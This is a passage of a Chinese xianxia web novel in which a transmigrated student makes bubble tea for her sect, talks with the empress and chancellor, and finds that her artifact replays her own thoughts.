关云铮还没从方才的震撼中彻底脱离,闻言愣了一下想开口,发现自己嗓子哑得厉害,低声咳了几下才说道:“说了什么?” “她说,‘女人的悲剧总是和裤||裆脱不了关系’*。” 关云铮方才咳了几下嗓子发疼,本想喝水,听了此话顿时被震住,一时水都忘了喝。 “我从前生长的地方待我太好了,哪怕有男女之间的偏见,那也是温和的,毕竟谁会对一个公主流露出明显的恶意呢?没有人会不想活到那种地步。”苍韫桢终于喝了一口水。 “因此当我咬牙迈进世道这污浊洪流,自然喝了一嘴的泥沙,湿了一身的脏水。” “我的愤慨对于作恶之人而言,只是隔靴搔痒。” 所以她收敛了自己无用的愤慨。 苏逢雨一句话总结了无数女人身上的悲剧,不知她学琴多年游历人间,到底见过多少。 她起先以为这句话是苏逢雨见过太多悲剧之后,麻木的冷嘲。 但她分明也记得,那日她生疏地用琴弦割断那歹徒的喉咙时,脸上是多么触目惊心的狠厉与果决。 她把自己割得满手是血,却也割开了那蒙住痛呼的靴—— 作者有话说:*网上看到的,不知道有没有出处。 下一章继续谈心 50-60 第51章 可能是察觉到自己说的话题太过沉重, 苍韫桢突兀地转了话题,问道:“说起来,你觉不觉得, 我们的名字听起来有些相像?” 关云铮一愣, 有点没明白话题是怎么从男女平|权拐到名字相似度上的,但还是如实回答:“有一些。” 要是像她这种前后鼻音不分的南方人, 念出来就更像了。 “那你会觉得, 我对待你的态度,是因为你和我有几分相似吗?”苍韫桢看着她问道。 关云铮皱眉:“并不会。您为什么突然这么问?” 苍韫桢笑起来:“因为见多了,那些身居高位的人出于某些原因要利用某个初出茅庐的年轻人时,就会用上那套说辞——” 关云铮下意识接话:“你和我年轻时很像?” 苍韫桢哈哈大笑:“我就知道你能明白。” 关云铮转着手里的茶盏:“左不过就是这么几句,也翻不出什么花样来。” 苍韫桢抬手喝了口水:“我先前也遇到过这样对我说的人,你如何看待此事?” 这问题听起来怎么那么像结构化面试……关云铮跳脱地想。 她停下手上的动作:“什么都能说?” 苍韫桢摊开手:“我也没在你面前自称朕啊。” 有什么不能说的。 于是关云铮直白道:“多数情况下是一种自恋行为吧, ”她说完这句意识到“自恋”这词可能对于古代人有点难以理解,正想解释, 发现苍韫桢的眼神明显是听懂了,要她继续的意思, 于是接着说, “一个人到达了某个高度之后,年纪也不可避免地增长了,总会不由自主地开始追忆往昔。” “这时候突然出现一个与ta年轻时十分相像的人, 会萌生帮一把的想法很正常, 毕竟某种意义上来说,也算是帮了曾经的自己。”关云铮说着说着忽然笑了一下,“这么一说好像还挺像大善人的,但是我觉得这件事也得分情况谈论。” 苍韫桢配合道:“分哪些情况?” “要是对自己的心理只字不提,不做声地帮了, 那我会把ta评价成大善人;但要是ta从最开始就把这句话挂在嘴边——” 苍韫桢:“你当如何?” 关云铮握住两手,虚空抓住了一张纸,又松开右手,从右往左在空中划了一笔,嘴上逐字说道:“快,逃。” 苍韫桢又一次哈哈大笑起来:“说得对。” 就不扯年轻不年轻,像不像了,这种明摆着挟恩图报的话,她要是听了能当场逃出去几里地不带回头的。仅仅因为有几分相似就愿意帮忙,这种恩情她可报答不起。 “且不论我尚且没帮过你什么,就算我要帮你,也绝不是因为你与我有何处相像,而是因为你与我毫不相似,在你身上我看到了无限可能。”苍韫桢看着关云铮说道。 啊,这个,那个,她身上真能看出无限可能吗?她这么厉害? 苍韫桢喝干净茶盏里最后一点水,放下茶盏起身:“我大概还能待一个时辰,你说的那个,奶茶?听着让人怪馋的,一个时辰能煮好吗?” 关云铮“噌”地起身:“我现在就去煮!” **** 还得多谢那姓严的,这几天师门大家都不怎么离开自己的院子,连李演都还在饭堂待着,关云铮过去找他时他正好在煮茶。 “李厨李厨!”关云铮哒哒小跑着进门。 李演坐在炉火前头,听见她说话,应了一声,了然地问道:“要煮奶茶?” 关云铮眉开眼笑的:“你怎么知道?” 李演把手边的陶罐抱起来给她:“这两天不是不修习吗?我猜你大概是要煮的。” 关云铮捧着陶罐点点头,刚想说点什么,就听李演接着说道:“木薯粉我也准备好了,你看看够不够?” 李演说着抬了抬头,示意她看向灶台。 关云铮下意识看过去,看见了满满一筛子的木薯粉,不由得震惊:“李厨你也太贴心了!” 说实话,她还是刚才跑过来的路上才想起最近都没准备木薯粉,待会儿苍韫桢可能只能喝到纯奶茶,没有珍珠,结果没想到李演居然都准备好了! 炉火上的茶煮到沸腾,李演把茶壶拎起来:“既然你来了,剩下的你自己处理吧?” 关云铮点点头,十分潇洒地一摆手:“我来就行,李厨你就等着喝吧。” 李演笑着答了声“好”,站起身到桌边坐下了。 糖也准备好了……关云铮开始专心搓珍珠,同时在锅里煮起糖浆。 在她忙碌期间,师门的各位像是有什么心灵感应,等她捣鼓完珍珠一回头,发现大家居然都在桌边坐下了,甚至柳卿知和苍韫桢也来了。 她煮珍珠的时候是穿越了吗?怎么一点动静都没听见? 柳卿知和苍韫桢单独坐了一桌,关云铮转过头时两人正在低声交谈,察觉到目光,一同抬眼看过来。 可能因为先前在谈公事的缘故,两人看过来时脸上的神情很平淡,看着没什么人情味,因此先前被掩盖得很好的一些气质就显露了出来。 关云铮甚至感觉到了一点不算特别外露的杀伐气,并非来自苍韫桢,而是她旁边的柳卿知。 在说什么……怎么隐约觉得朝廷里有人要倒霉了…… 关云铮默默又转回去,把水牛乳倒进锅里进行杀菌处理,本来右手都开始搅动防止粘锅了,忽然意识到不对劲。 她从昨晚开始就有点不对劲。 先是莫名其妙灵气异动,把摇羽都震出剑鞘了,接着又是被人点拨一样忽然想起柳卿知的名字,现在甚至想也不用想,就觉得柳卿知流露出了杀意,朝廷中的人就要倒霉…… 虽然好像都是什么不值一提的小事,甚至都能找到理由:灵气异动可能是她经历了下山这一天的事情有所长进;柳卿知的名字她可能一直记着只是一时没想起;柳卿知作为当朝宰相,会让她流露出杀意的事情不多,大概率是朝廷中有人草菅人命之类…… 但关云铮了解她自己,她对一件事的反应完全取决于对这件事的熟悉程度,越是熟悉她反应越快,不熟悉的事她往往要过很长时间重新接触到相关信息,才能重新想起来——所以断没有她第一时间想不起来柳卿知的名字,过了一会儿什么也没干,却开了灵窍一般立马想起来的道理。 因此想也不用想就觉得朝中有人要倒霉,也是十分不合常理的。 为什么?她不过是下了个山杀了个邪修而已,修为增进到这种地步了吗? 关云铮若有所思地想着,丝毫没注意到苍韫桢已经走近,直到后者开口,她才忽然被吓了一跳,猛地回过神来。 “快煮沸了。”苍韫桢说。 关云铮下意识“啊”了一声,一转眼发现锅里的水牛乳都快开了,急急忙忙地开始搅拌。 苍韫桢靠在灶台边若有所思:“我怎么觉得你先前并不是这个打算?” 关云铮一边搅拌一边分出神去回答:“嗯?什么打算?” 苍韫桢用眼神点了点那口煮牛乳的锅:“先前看你似乎并不打算煮沸。” 关云铮点点头:“原先确实不打算煮沸,不过也差不多……”原本她打算用巴氏消毒法的,但说实话,古代没有温度计,她没法很好地控制温度区间,再加上现在都快沸腾了,只好跟前几次一样,依旧用煮沸杀菌法,一边煮一边搅拌,一煮沸就停下,免得破坏营养。 苍韫桢没追问,又看向一边棕褐色的小玩意儿:“这又是什么?用什么做的?” 关云铮思考了一会儿,觉得皇宫里应该有本事给苍韫桢复刻珍珠奶茶,于是详细地解释了一番珍珠的制作过程。 苍韫桢饶有兴致地听着,听完来了句:“方便写下来吗?我带回去让御厨试试。” 关云铮一口应下:“没问题,煮完这锅奶茶就给您写下来。” **** 最终每个人都分到了两碗奶茶,加上很多很多的珍珠。 上次一块木薯洗出来的木薯粉有限,大家只分到几颗,章存舒还十分痛心地给了栖霜一颗。今日珍珠量大管够,闻越喝一口奶茶吃一勺珍珠,嚼得越发上瘾。 关云铮慢吞吞地边喝边写“菜谱”,注意到闻越在旁边咀嚼的动作,忽然抬起头若有所思地看了他一会儿,问道:“师兄,你在用单侧嚼吗?” 闻越含混道:“用的左侧,怎么了?” 关云铮给菜谱添了几个字,头也不抬地说:“长期单侧咀嚼容易颞下颌关节紊乱哦。” 话音刚落,师门所有人看过来。 连映:“颞下……什么?” 师姐难得有这么不确定的时候。 关云铮后知后觉地意识到自己刚才说了什么,感觉自己这两天真是太奇怪了,虽然她自己就有颞下颌关节紊乱,这个医学知识点她也很熟悉,但也不至于这么不过脑就说出来吧,摆明了说出来是会引起一片困惑的,她的脑子出什么毛病了?哦不对,她的嘴和脑子出什么毛病了? 她在心里悄悄叹了口气,伸出两手按在自己两侧脸颊接近耳朵处:“颞下颌关节,就这两个位置,如果长期单侧咀嚼,张口时会有痛感,还会发出异响,这就是紊乱。” 闻越停止了他快乐的咀嚼。 关云铮看向他:“你不会……?” 闻越沉痛地点了点头。 关云铮也跟着沉痛地拍了拍他的肩:“对了,还有,长期侧卧也会加重。” 闻越好像快要在她手掌下碎掉了。 关云铮凝重地思虑良久,还是轻轻拍了拍她三师兄的肩膀:“改为仰卧,两边轮流咀嚼或者同时咀嚼就能改善了,还有救。” 闻越默默舀起一勺珍珠放右侧咀嚼了。 章存舒笑眯眯:“云崽懂的好多。” 关云铮一边喝奶茶一边小幅度摇头,表示自己懂的只是皮毛。随即她又低声问道:“师父,你觉得我下山这一日,修为有增进吗?” 章存舒喝了口奶茶:“为何突然这么问?” 关云铮简单说了说自己刚才的疑惑。 章存舒罕见地没有立刻给出回答。 楚悯不做声地喝了一口奶茶,也陷入了思考。 关云铮摸着碗沿:“没事,也可能是我多心了。” 还没等这桌的师门众人回答,苍韫桢从另一张桌边起身,随意拖过一条长凳,在关云铮身后坐下:“你昨日下山,带回什么东西了吗?” 啊,忘了这茬了。 但将隐不是要以灵气为动力吗?以她现在的修为运作一次还得抽干她的灵气啊? 总不会这就是她的灵气异动吧? 异动不都是指突增吗,怎么还有暴跌的?这也能震开摇羽吗? 关云铮皱起脸:“将隐是这种作用吗?” 苍韫桢挑眉:“看来确实带回了什么东西,没准是那东西起了作用呢。” 关云铮简直一头雾水,不明白拿来“问”的东西怎么会影响到她的记忆。 苍韫桢喝完了自己的那碗茶:“我得回朝安了,最近事务繁忙,待不了太久。” 苍生道弟子和楚悯顿时齐刷刷起身。 章存舒坐着没动,喝了口奶茶后说道:“茶不错。” 苍韫桢笑了声:“那是自然。” 她正准备缩地成寸离开,忽然又想起些什么,看向关云铮道:“对了,严骛此行没带那法器。” 连映和江却不明所以,闻越楚悯关云铮三人却立时明白过来,关云铮不由追问:“您确定?” 苍韫桢对着他们一笑:“当然,因为那法器在我手上,新的法则也由我制定。”—— 作者有话说:化身无情肝榜单机器 第52章 苍韫桢说完就缩地成寸走了, 留下师门众人面面相觑。 关云铮不太确定地想:刚才女帝是在耍帅吧?是吧? 但是能风轻云淡地说出这种话,关云铮得承认自己有被她装到。 柳卿知还坐在另一张桌边悠闲地喝着奶茶,此刻苍韫桢离开了, 她无人相陪, 总不好还让她独身坐在那边,关云铮只好搬着方才苍韫桢搬过来的凳子, 蹭到她旁边坐下。 柳卿知和她在这之前并没见过, 关云铮硬着头皮社交道:“柳相并非是为了监督严骛而来吗?” 柳卿知侧目看她,原本神情平淡的脸上显出一点微薄的笑意:“我并非为了监督仙盟而来。” 闻越为了解救云崽,也硬着头皮坐过来了,在桌子的另一边坐下:“那是为了什么?” 柳卿知放下勺子:“前阵子南方涝灾,听说了吗?” 关云铮心说要是这个前阵子指的是一个多月以前……那她肯定没听说过。毕竟那会儿她还是21世纪大学生呢,还没穿到这具躯体里。 好在闻越接了话, 没让话茬落在地上:“知道,我大哥还捐了一批赈灾粮。” 柳卿知点了点头:“嗯, 我估摸着最后也只有你大哥捐的这批粮,到了灾民们的手里。” 隔壁桌的人索性都移过来了, 陆陆续续地各自坐下, 江却依旧和连映坐在一起,楚悯在关云铮旁边坐下,章存舒坐在了闻越身边。 连映皱眉:“其余的赈灾粮呢?路上出了意外还是……?” 柳卿知:“这便是我此行目的。” 章存舒已经在喝第二碗奶茶了:“前段时间不是已经斩了一批贪官污吏?” 柳卿知低笑一声:“我倒不是没斩够, 但我看他们是活够了。” 眼看她和章存舒沟通的内容逐渐走向听不懂的谜语人方向, 关云铮暗自叹了一口气,正在心里打算之后问闻越时,柳卿知又接着说道:“原本此行缺乏由头,谁料正好严骛嚷嚷着要来归墟。” 那句话怎么说来着?真是刚打瞌睡就有好心人送枕头啊。 “那归程呢?你来时同他一起,归程却不见人影, 严骛不会起疑心吗?”闻越困惑。 柳卿知喝了口奶茶:“我还不至于同他汇报我的行程。” 闻越被她梗了一下,熟悉的感觉涌上心头,默不作声地闭上嘴,嚼了一颗珍珠。 “原本我打算待会儿便启程。”柳卿知说,看向坐在她侧后方的关云铮。 关云铮感觉到注视,不明所以地咬着勺子抬头:? 柳卿知解答道:“但我想看看你们方才谈论的那个东西。” 关云铮更困惑了:“您的意思是,将隐?” **** 石桌加上秋千也坐不下这么多人,关云铮只好又从屋内搬出好久没登场的竹椅,正打算在外围找个地方把竹椅放下,围着石桌的一圈人已经不约而同地转过身朝她看过来。 她拎着两张竹椅站在房门口:“怎,怎么了?” 这么多人一起看过来怪吓人的。 章存舒侧身,让出一个位置。 关云铮放下竹椅,走到石桌前。 昨日回小院后就被她随手放在石桌上的将隐……和之前看起来不一样了。 三个互相嵌套的轮盘似乎转动过了,但是因为没有晷针,她的想法毫无依据,只是有种无端的既视感,好像这东西在过去不到一天的时间里偷偷转动过。 没有用灵气作为动力的情况下也能运转吗?难道说这东西不只可以拿来“问”? 关云铮伸手拿起那个小法器。 她认真观察着手心的东西,试图从细节处找出蛛丝马迹支持自己的猜想。也正因此,当将隐真的在她手心转动起来时,她甚至没能顾上开口,而是仔细地盯住了转动的轮盘,以及——那个没有实体的,“晷针”。 那是一个非常小的点。 像是有一束额外的光线照在了将隐之上,印出了一个光斑。 暗面上的亮光比亮面上的黑点更为扎眼,关云铮盯着那枚光斑逐渐从轮盘的右侧转到左侧,开口时语气带了点自己都没意识到的笃定:“我先前说的不对劲应该就是因为将隐。” 周围一片寂静。 关云铮后知后觉地抬头,发现大家都用一种微妙的眼神看着她。 她感觉到手里的轮盘又转动了一下,这次的过程很短暂,好像只“咔哒”了一下就停转了,她莫名意识到什么:“你们……看不到它在转?” 章存舒“嗯”了一声。 关云铮追问:“也看不到这个亮点?” 闻越一脸茫然地往她手心看了一眼:“哪有亮点?” 关云铮感觉到将隐又在转了,一股莫名其妙的力量驱使之下低头对将隐说道:“你先别转。” 刚要转起来的轮盘停了,那枚光斑也停了,几息后甚至闪烁着消失了。 关云铮放下将隐,对上周围的目光:“虽然我刚才真的很像撞鬼了……” 闻越丝滑地接话:“倒也没到那份上。” 关云铮被他逗笑了:“刚才它一直在我手心转,我最开始在想它是不是偷偷转过的时候,最下方那个最大的轮盘转了半圈多一点,中间的转了不到半圈,最上方的转了接近一圈。” 她试图用语言描述清楚自己看到的画面:“方才它又转了一下,最大的轮盘没动,中间那个也没动,最小的转了……”她一时想不到合适的形容,但脑子里已经有了对将隐的定义——它像个表盘。 最大的是时,中等的是分,最小的是秒。 但古代没有时分秒…… 好在在座的都是聪明人,她一番话说完,几人都露出了恍然的神色。 “我猜测,最底下的轮盘代表着时辰,中间的可能以一炷香为单位运转,最小的大概和滴漏同理?”关云铮把时分秒替换成古代的计时单位后说道,“第一次转动是因为离昨夜它被带回来到现在,已经过了半日多,所以最大的轮盘转了半圈多,中间的也转动了;后来则是因为我在想,你们为什么好像看不见它转动,也就是它第一次转动的这段时间,因此只有最小的轮盘转动了,并且只转了一点点。” 她自觉说得有点绕,刚想再解释两句,大家已经明白了,楚悯思忖着开口:“意思是,它能感知到你的思绪,并且为你回溯出答案?” 回溯。 关云铮被楚悯话里的词触动了一下,回答道:“我是这么认为的。” 这样一来,她原本想不起柳卿知的名字,却忽然又能回忆起来就能解释得通了。 至于为什么能在柳卿知转过脸看过来的当下,就解读出“朝廷中可能有人要倒霉了”,关云铮倾向于将隐可能也能够往前推演,或者说能够通过回溯给她总结出某种最大可能性。 这么一寻思,将隐简直像个被喂了太多大数据的ai助手啊。 章存舒拿起将隐打量了一会儿,又看向楚悯:“你……天问掌门什么时候做出这个法器的?” 关云铮意识到他原本想说你父亲,但突然想起昨晚桌边楚悯改口的事,因此也临时改口了。话说她师父怎么好像什么都知道,到底谁是天问? 怎么感觉将隐又在偷偷转了,光凭自己的话,她脑子真能转得这么快吗?长期下去她不会直接优化掉思考过程了吧? 楚悯如实相告:“我动身来归墟时还没见过这个法器,应当是这一月内做成的。” 江却问出了关云铮此刻最想知道的问题:“他为何要把此物给云铮?” 关云铮站在师门众人中间再一次被注视,一脸无辜:“别看我,我也想知道。” 楚悯笑起来:“我写信问问吧。” **** 楚悯写信期间,关云铮和闻越坐在一块说悄悄话。 “师兄,灯火为什么能传信?” “灯火?哦我知道了,那其实是一种术法,火是媒介,这边把信在火里燃尽,目的地的火里就会飞出那封信。”闻越解释道。 关云铮又在奇思妙想:“那岂不是不能让那些心怀鬼胎的人学了去,学会了也太容易毁尸灭迹了。” 闻越煞有介事地点点头:“之前我也是跟师父这么说的。” 关云铮好奇:“师父怎么说?” 闻越面无表情:“他敲了一下我的脑袋。” “噗。”对不起师兄没忍住。 闻越继续说道:“这种术法需要事先确认两处火的位置,不然很可能到不了彼此手中。” “如果到不了,会如何?” 闻越思考了一会儿,没想出答案,看向一边默不作声的江却:“师兄,若是以火传信,但对面的火位置不明,信会如何?” 江却一抬眼,对上两张求知若渴的脸,难得顿了一下才说:“会选取离原定位置最近的火。” 关云铮“唔”了一声,感觉苍韫桢以后要是在外面烧火,不是,燃信,需要稍微注意着点,毕竟刻板印象里,皇宫内只隔一堵墙就不是一条心了,要是信落在别人手里那还了得,可得提防着点。 她胡思乱想着,忽然又想起闻越方才讲述测灵根法器时提到的话,忍不住胆大包天了一回,对着江却说道:“大师兄。” 江却看向她。 “你出关后和任师姐比试过吗?” 江却愣了一下,随即答道:“尚未,怎么了?” 关云铮无端雀跃:“没怎么,就是,你们千万别私下比试,开打前记得叫上我,我要看。” 闻越附和:“还有我,我也要看。” 江却正想说点什么,连映从他身后探出一张笑眯眯的脸:“那也叫上我吧,我也要看。” 关云铮点点头:“小悯忙着写信我替她说了,她到时候也要看。” 江却沉默片刻,实在没忍住笑出声来:“你们这么盼着我和任师姐比试?” 关云铮和闻越小鸡啄米式点头。 连映也在他身后点头:“当然。” 章存舒不知何时从楚悯的院子那边走过来了:“也好让我们看看,你的修为到了什么境界。” 柳卿知走在章存舒身后,闻言若有所思:“那看来我是赶不上了?” 关云铮听出她的言外之意:“柳相现在便要走?” 柳卿知点点头:“若不是那位突发奇想要来归墟一趟,我晨起便要离开了,无所事事待到现在,也尝过了你的手艺,可以知足了。” 关云铮怪惶恐的:“这算不得什么手艺。”煮奶茶这种事跟手艺没什么关系,既不用考虑熟没熟透又不用掂量着放盐,有什么手艺可言。 柳卿知笑笑,实话实说:“原本我想再留一会儿,既然来了就做足样子,去敲打一番严骛以及他背后的仙盟。” 关云铮和闻越的脸上顿时露出可惜的神色。 虽然很缺德但是真的很想看看柳相会怎么敲打严骛。 柳卿知像是想起什么好笑的事,嘴角上扬些许:“但是方才你们师父说,有人会来敲打他的,既如此,我便先走了。” 关云铮和闻越又一齐看向站在旁边的章存舒,两双眼睛里毫无对知识的渴望,只余对八卦的钟情。 章存舒看了他们一眼,卖关子:“傍晚应该就要到了。” 柳卿知配合着点点头:“我就先下山去了,时间还够去闻家找老友蹭个饭。” 关云铮本来还想问柳卿知怎么不留下吃个饭,听见后半句羡慕地把话咽回去了。闻家的饭,想想就知道有多香,呜呜。 转头看了眼闻越,不出意料地看见闻家小少爷的面部表情也从“嘻嘻”变成了“不嘻嘻”。 关云铮面带安慰地拍了拍闻越的肩膀:“想开点,你要是也在,少不得聊些你幼时的事。” 闻越的脸顿时更垮了:“你以为我不在他们就不会聊了吗?” 关云铮露出“我懂”的表情,又拍了拍闻越的肩:“但你不在就听不见了,可以自欺。” 闻越:“……”—— 作者有话说:终于肝完榜单了,我要给自己放两天假!(瘫) 评论摩多摩多—— 第53章 既然能照出识海的法器已经归属苍韫桢, 严骛此人对于关云铮而言也就没什么好忌惮的了,柳卿知要走的时候她还跟着下山去送了送。 “您来时也是骑马?从朝安城到镜溪?”关云铮看见柳卿知纵身上马震惊道。 如果这个世界的地图跟她印象中差不多的话,那朝安城到镜溪, 应该至少是从京城到淮河以南了?那就至少一千公里了?就算是传说中的千里马, 日夜不休也得跑两天,这都坐得住? 柳卿知坐在马背上一拉缰绳, 腰背挺得很直:“是啊。” 关云铮肃然起敬。 闻越一副习以为常的样子, 靠在树上对关云铮摆摆手:“她骑射比我大哥都在行。” 柳卿知笑了声,用腿一夹马腹:“走了,诸位来日见。” 众人直到她的身影淡出视野,才陆续收回视线。 关云铮和楚悯并肩往回走,闻越走在两人身侧伸了个懒腰:“她这一去,某些人怕是要倒霉咯。” 楚悯深以为然地点点头。 关云铮走出几步忽然想起什么, 看向闻越:“师兄,柳相的马怎么栓得这么远?” 闻越起初没反应过来, 随即忍俊不禁:“因为昨日她来的时候,这段路是石阶, 马不好走。” 关云铮疑惑:“哪来的石阶?为什么今日又没了?” 章存舒在她身后懒散接话:“为了迎接仙盟铺设的, 今日仙盟在山上呢,就懒得铺了。” 关云铮和楚悯对视一眼,都没忍住, 各自强行压着嘴角不让自己笑得太放肆。 章存舒凑到关云铮和楚悯身边:“其实就是个小法术, 想学吗?” 关云铮如实相告:“原本还挺想学的,但师父你这个语气……” 感觉就像是那种摆了算命摊子实则诈骗的,一开口就是“我观你印堂发黑,近日恐怕有血光之灾”,要不是知道章存舒不可能搞什么歪门邪道, 她会以为自己师父下一秒要从怀里掏出一本修真大全,口中念着“少年我看你筋骨清奇是修道的好苗子”就冲上来了。 章存舒幽幽叹了口气:“我在你们心中到底是什么形象?” 闻越从另一边探出个脑袋:“师父您多虑了,您压根没有形象。” 关云铮听完,默默拉着楚悯的衣袖退后半步,让人菜瘾大的三师兄直面师父的怒火。 章存舒不知道是不是被气习惯了,只是看了闻越一眼,没说话,对着关云铮和楚悯继续说起方才的话题:“我也是从别人那学来的,是个幻术,只是幻术的真实程度会随着使用者的境界提升而提升。” 关云铮不为所动:“那现在的我学了岂不是会被一眼看穿?” 章存舒不答反问:“你觉得你现在是何种境界?” 关云铮被问得愣了一下:“难道我进步了?” 不应该吧,她又不是什么修道天才,当时引气入体还花了那么长时间呢。 章存舒神神秘秘的:“这你该问你自己。”说完他又问,“想学吗?这幻术?” 关云铮简直想笑,忍不住问他:“师父为何想让我学?” 章存舒相当坦诚:“我虽是你的师父,但到现在什么也没教过你,这不是难得有个机会。” 连映和江却已经从落后于三人的位置走到了和他们并列,连映听了这话笑道:“师父你今日好奇怪。” 章存舒老神在在的:“这幻术难道不有意思吗?” 关云铮只好笑着承认:“有意思有意思,那就学吧。” **** 李演坐在桌边喝给他留的那份奶茶,关云铮揽过做饭的任务,正准备去菜地里扒拉几盘菜出来,发现江却已经提着菜篮子回来了。 连映走在他身后,朝关云铮招呼着:“方才比你们早些回来,就和阿却去菜地里摘了些菜。” 关云铮和楚悯凑上前,两个脑袋探进菜篮。 连映笑盈盈的:“够吗?我没下过厨,不太清楚分量。” 关云铮把菜篮里的菜点了点:“够了,我去洗菜。” 闻越不知道什么时候走到关云铮身后,闻言搭了一下她的肩膀:“我和师兄去洗,你和师姐歇着。” 楚悯刚想开口,闻越若有所觉地一侧头:“小悯也歇着。” “那就多谢二位师兄啦。”关云铮乐得偷懒,嘴甜道。 两个师兄提着菜篮子出去洗菜了,三个姑娘一起坐回桌边。 连映解释道:“闻越不知道从哪里听来的,一直坚持姑娘家的手要少沾水。” 关云铮觉得好笑:“那我们还得练剑呢,我待会儿还得切菜做菜。” 虽说是好心,但光是不沾水怕是帮助不大。 楚悯帮着解释道:“我之前听过,反复沾水又被风吹干的话,皮肤容易皲裂。” 啊,这倒也是,她都忘了还有这茬了,好像冬天会格外严重,手在热水里浸泡过又吹冷风,关节很容易干裂。 关云铮煞有介事地点点头:“那就更得感谢两位师兄了。”不过说到师兄……她看向连映,“师姐和大师兄是同龄吗?” 连映笑着回答:“他比我大几个月。”像是猜到了关云铮要问什么,她接着说道,“我和阿却都是孤儿,一起被师父捡回来的。” 关云铮:最近怎么都在问死亡话题,不想活了。 大概是她脸上的死意太过明显,楚悯都没忍住笑出声来,伸出手摸了摸关云铮的手背以作安抚:“师姐那时几岁?” 连映想了想:“大概六岁?那几年过得比较浑噩,记不太清楚了。” 关云铮双眼空洞,嘴上喃喃道:“我真该死啊……” 连映捏了一把她的脸:“说什么呢。我早都不在意了,要是在意我自己还提起来做什么?怎么这么长时间了同我们说话还有这些顾忌。” 关云铮比划着:“那不是,越是亲近越容易无所顾忌吗,万一说错话什么的,造成的伤害也越严重。” 连映歪头看她:“我们都知道那一定是你无心之失呀。” 楚悯深有同感地点点头:“是呀。” 关云铮鼻子发酸,好半晌什么也没说出来,于是只好把自己砸师姐怀里了。 “我知道了。”她声音闷闷的。 连映笑着揉了揉她的脑袋。 闻越洗菜回来看见这个场面还以为出什么事了,凑上来扒拉了几下关云铮,发现她脸上没有哭过的痕迹才说:“怎么了这是?” 连映笑着说:“云崽问我和阿却小时候的事。” 闻越恍然:“觉得戳师姐痛处了,愧疚呢?” 关云铮默默移开视线。 闻越也揉了一把她的脑袋:“师姐要是不愿提,你也没机会开口了,这么拘谨做什么?” 江却放下菜篮子,在连映身边坐下:“也可以问我。” 关云铮感觉自己又被空气呛了,闻言忙不迭摆手:“不不,我先不问了。” 几人围着关云铮坐着,看她这样都笑起来。 “聊什么呢?”章存舒跨过门槛走进来。 关云铮揣上菜篮就窜到灶台边了:“我做菜去了。” 章存舒看了眼明显有点不对劲的关云铮,又看了眼笑盈盈的连映,心知没什么大事,于是晃悠到关云铮旁边靠着:“趁这会儿给你讲讲方才那个术法?” 关云铮在切菜的间隙里点点头,听他在旁边解释:“此术法名叫蜃景。” 她手中刀没停:“海市蜃楼?” 章存舒颔首:“正是。” 关云铮把洗净的茄子切段,装进碟子备用,又从不知何时站在一旁的楚悯手里接过别的洗净的菜,做完这一串动作一抬头,发现章存舒停了话茬在看自己切菜,不由来了句:“师父你继续。” 章存舒失笑:“怕你分心切着手。” 关云铮动作一顿,故作怨念:“您盼我点好。” 章存舒笑了笑:“你能说出海市蜃楼,想必了解此景出现的原理。因此施展这个术法必须在有光的前提下,若是处在黑暗中,术法是无法成功施展的。” 楚悯若有所思地点点头,关云铮熟练地把丝瓜切片,答道:“这倒是,没光形成不了。” 章存舒靠在旁边继续说道:“接下来,施展幻术就需要依靠灵气的运用了。” 她就知道。 关云铮认命地叹了一口气,架锅烧油:“那符咒呢?需要吗?” 灵气运用和符咒使用简直就是修仙界的两大基本守则,所有的术法基本都得围绕这两点进行,再奇幻的术法都得依靠这两点构建出骨架,拥有稳固的骨架之后才能生长出饱满的血|肉。 所以干脆告诉她还需要符咒运用也非常熟练得了,这样她就彻底对蜃景这个术法死心了。 毕竟她到现在也不会一笔画完符咒,每次都因为画的时候太过疲惫而进行得断断续续,符咒的效用也因此无法发挥到最佳状态。 章存舒笑起来:“那得看你要铺多大的蜃景了。 若是你的院子那么大,用不上符咒;若是归墟这么大,不仅要用上符咒辅助,还需要画出法阵支撑,不然蜃景的维系全靠一人,容易反噬。” 冷菜下锅的爆响。 关云铮在陡然喧哗起来的环境中对章存舒说:“那我明日学?” 章存舒像是没想到她会主动敲定时间,看了她片刻才说:“你愿意学,我自然是随时恭候。小悯呢?和云崽一起学?” 楚悯点点头。 然后两人就被专心炒菜的关小厨给扒拉到一边去了,以免他俩被热油溅到身上。 **** 饭菜被陆续端上桌。 修仙之后体力都变好了,以前炒俩菜都能给她累好半天——不排除是在寝室偷偷做菜太考验心态和胆量的原因,现在炒了一桌子菜也没觉出累,仿佛被每天练剑练术法的日子PUA了,一闲下来就觉得不做点什么运动量就没达标似的。关云铮一边在心里吐槽,一边给自己夹了一筷子丝瓜炒蛋。 方才李演喝完奶茶闲不住,把茶碗洗了又去菜地翻了一遍土,此刻回来坐在章存舒身边,看了眼桌上丰盛的菜色,惊讶:“做这么多菜?” 关云铮和闻越异口同声:“多吗?七个人呢。” 李演颇觉好笑:“你俩……” 老吃货了。 关云铮自己在心里点评道。 闻越美滋滋地吃着菜,忽然想起什么:“师父,你方才说的那个敲打严骛的人还没来?” 是哦,不是说傍晚就该到了吗,现在也算是傍晚了吧,正是敲打仙盟的好时候啊!缺德乐子人关云铮这样想道。 章存舒面色平静地吃了口菜,完全没在着急:“尚未,等等,”他忽然一顿,“来了。” 江却夹菜的动作也一顿:“护山大阵感应到了?” 章存舒点头:“也不知道吃过没。” 连映已经起身了:“我去添副碗筷。” 章存舒笑眯眯的:“先不急,”他扭头看向关云铮,“云崽随我一同去迎接一下我们的客人?” 关云铮敏锐地意识到不对劲,放下筷子起身,看着同步起身的章存舒,狐疑:“是我认识的人?” 章存舒一边往外走一边回答:“去了就知道了。” 关云铮跟上他的脚步,嘴上没忘了吐槽他:“师父你一直这样吗?” 章存舒微微侧头:“我怎么?” 关云铮撇嘴:“故作神秘。” 她的谜语人师父哈哈大笑:“你知道是谁了?” 关云铮摊开双手,一耸肩:“我认识的,会来归墟的,你也认识的,还能在言语上敲打严骛的,”她目光炯炯,“我赌一碗奶茶,是苏逢雨。” 章存舒也学她的模样摊开双手:“你看,你都猜出来了,这不能叫故作神秘吧?” 关云铮被击败了,半晌憋出来一句:“师父你好会诡辩。” 章存舒浑不在意:“能说赢就行了,诡不诡的就无关紧要了。” 话是这么说,但你都在教什么歪理啊这位师父!—— 作者有话说:目前已经出场的武器/法器形式与名字: 关云铮:配剑,摇羽;护身法器,撷光;法器,将隐 楚悯:古琴,月下逢 章存舒师兄弟三人均为配剑,名字未出场 戚寻月:雁翎刀,霰照 蒲飞鸢:配剑,名字未出场 任嵩华:配剑,裁冰 江却:配剑,破钧 